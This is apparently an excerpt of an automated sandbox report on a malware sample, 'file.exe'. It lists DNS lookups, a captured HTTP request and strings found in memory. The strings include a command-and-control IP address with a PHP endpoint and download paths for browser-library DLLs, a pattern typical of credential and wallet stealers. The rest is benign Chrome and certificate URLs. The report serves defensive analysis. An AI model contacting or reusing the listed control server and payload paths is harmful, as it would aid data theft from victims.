#image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 905sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2599315739.0000000000536000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2599315739.0000000000564000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php2
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpB
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpBGHCFCAAFIECAFIIIa
Source: file.exe, 00000000.00000002.2601720478.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpFiab
Source: file.exe, 00000000.00000002.2601720478.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpSb
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpZ
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpata
Source: file.exe, 00000000.00000002.2601720478.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpb
Source: file.exe, 00000000.00000002.2599315739.000000000047C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2601720478.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpodus.wallet
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpr
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpz
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dllY
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll.
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllll
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllllK
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllllg
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllu
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll7
Source: file.exe, 00000000.00000002.2599315739.0000000000564000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2601720478.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll-
Source: file.exe, 00000000.00000002.2601720478.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2625998166.00000000235B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll2
Source: file.exe, 00000000.00000002.2599315739.000000000047C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206AAA
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000003.00000003.2245842944.0000590800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: chrome.exe, 00000003.00000003.2245715026.000059080036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
